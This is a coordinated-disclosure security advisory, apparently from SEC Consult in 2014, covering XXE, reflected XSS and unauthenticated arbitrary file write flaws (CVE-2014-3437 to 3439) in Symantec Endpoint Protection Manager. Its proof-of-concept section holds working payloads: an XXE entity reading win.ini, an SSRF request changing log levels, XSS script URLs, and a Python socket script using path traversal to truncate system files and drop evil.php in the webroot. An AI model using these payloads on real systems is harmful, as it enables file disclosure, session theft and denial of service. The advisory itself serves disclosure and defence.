XXE & XSS & Arbitrary File Write vulnerabilities in Symantec Endpoint Protection

SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >


title: XXE & XSS & Arbitrary File Write vulnerabilities

product: Symantec Endpoint Protection

vulnerable version: 12.1.4023.4080

fixed version: 12.1.5 (RU 5)

impact: Critical

CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439

homepage: www.symantec.com

found: 2014-07-01

by: Stefan Viehböck

SEC Consult Vulnerability Lab




Vendor description:


"Symantec Endpoint Protection is a client-server solution that protects

laptops, desktops, Windows and Mac computers, and servers in your network

against malware. Symantec Endpoint Protection combines virus protection with

advanced threat protection to proactively secure your computers against known

and unknown threats.

Symantec Endpoint Protection protects against malware such as viruses, worms,

Trojan horses, spyware, and adware. It provides protection against even the

most sophisticated attacks that evade traditional security measures, such as

rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance

and high power, Symantec Endpoint Protection communicates over your network to

automatically safeguard for both physical systems and virtual systems against






Business recommendation:


Attackers are able to perform denial-of-service attacks against the Endpoint

Protection Manager which directly impacts the effectiveness of the client-side

endpoint protection. Furthermore, session identifiers of users can be stolen

to impersonate them and gain unauthorized access to the server.

All of these attacks can have a severe impact on the security infrastructure.

An update to the latest version (12.1.5 RU 5) is highly recommended.


Vulnerability overview/description:


1) XML External Entity Injection (XXE) [CVE-2014-3437]

Multiple XXE vulnerabilities were found in the Endpoint Protection Manager

application. An attacker needs to perform MitM attacks to impersonate

securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,

ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.

These vulnerabilities can be used to execute server side request

forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,

file disclosure as well as attacks against functionality that is only

exposed internally (see CVE-2013-5015 and issue #3).


The exploitation scenario proves that the previous command execution via

SQL injection was exploitable for an external attacker with the ability to

manipulate internet traffic _without any prior knowledge_ of the target system.


2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]

Endpoint Protection Manager suffers from a reflected cross-site scripting

vulnerability, which allows an attacker to steal other users' sessions, to

impersonate other users and to gain unauthorized access to the admin interface.


3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]

Arbitrary files can be written or overwritten by an unauthenticated attacker.

The target file is truncated in the process which results in Denial of Service.

However it might be possible to write files with arbitrary content nonetheless.


Proof of concept:


1) XML External Entity Injection (XXE) [CVE-2014-3437]

The Symantec Protection Center component downloads XML files from

securityresponse.symantec.com for information purposes.

By impersonating securityresponse.symantec.com (eg. via DNS

poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an

attacker can inject malicious XML code into the file contents and thus exploit

XXE vulnerabilities.

For example by offering the following XML code at the URL

http:// securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml

arbitrary files can be disclosed via the Symantec Protection Center login

page at https:// <HOST>:8443/portal/Login.jsp

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]>



Server Side Request Forgery (SSRF) can be exploited like in the following

example that sets the application log level to "log all messages" eg. via

http:// securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM 'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]>

Furthermore some files can be exfiltrated to remote servers via the

techniques described in:




2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]

At least the following URLs are vulnerable to XSS:

https:// <HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>

https:// <HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b

3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]

A flaw in ConsoleServlet allows an attacker to specify the application server

thread name via the ActionType parameter. As the thread name is used in

the pattern that is passed to the java.util.logging.FileHandler constructor

by the logging component (ServerLogger) an attacker can define the log file

path. By causing an exception in the thread, the log file is written to


The following code snippet causes an exception by terminating the TCP

connection before the server has finished writing the response to the socket.

ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 causes the win.ini

file to be truncated.

import socket
import struct

PORT = 9090
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
l_onoff = 1
l_linger = 0
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger))

msg = '''GET /servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 HTTP/1.1
EvilContent: <?php evilcode(); ?>




ActionType=/../../Inetpub/Reporting/evil.php%00 causes the (empty) file

evil.php to be written into the Apache webroot.

ActionType=/../../Inetpub/Reporting/evil.php causes the file

evil-0.log to be written into the Apache webroot.

If the application log level has been set to "DEBUG" (which can be achieved

via XXE, see issue #1) the file content includes all headers passed in the

HTTP request (including the EvilContent header in the example above). However

the file will not be processed by PHP because of the .log extension. Due to

the complex nature of the Windows filesystem addressing modes (legacy/DOS,

ADS, etc.) it is entirely possible that this limitation can be bypassed.


Vulnerable / tested versions:


The vulnerabilities have been verified to exist in Symantec Endpoint Protection

version 12.1.4023.4080, which was the most recent version at the time of discovery.


Vendor contact timeline:


2014-07-11: Initial contact to secure@symantec.com

2014-07-29: Ask for status at secure@symantec.com

2014-08-01: Conference call about status, extended grace period to 2014-10-31

September/October: Several discussions / rechecks of the vulnerabilities

2014-11-06: Coordinated release of the advisory




1) XML External Entity Injection (XXE) [CVE-2014-3437]

Update to version 12.1.5 RU 5

2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]

Update to version 12.1.5 RU 5

3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]

The update to version 12.1.5 RU 5 only partially mitigates the vulnerability.

Path Traversal is no longer possible, which reduces the severity to

low/medium. The vendor claims that it will be entirely solved in the next

version (12.1.5 RU6).


For further information see the security advisory of the vendor:





See Symantec security advisory for further mitigations.


Advisory URL:





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EOF Stefan Viehböck / @2014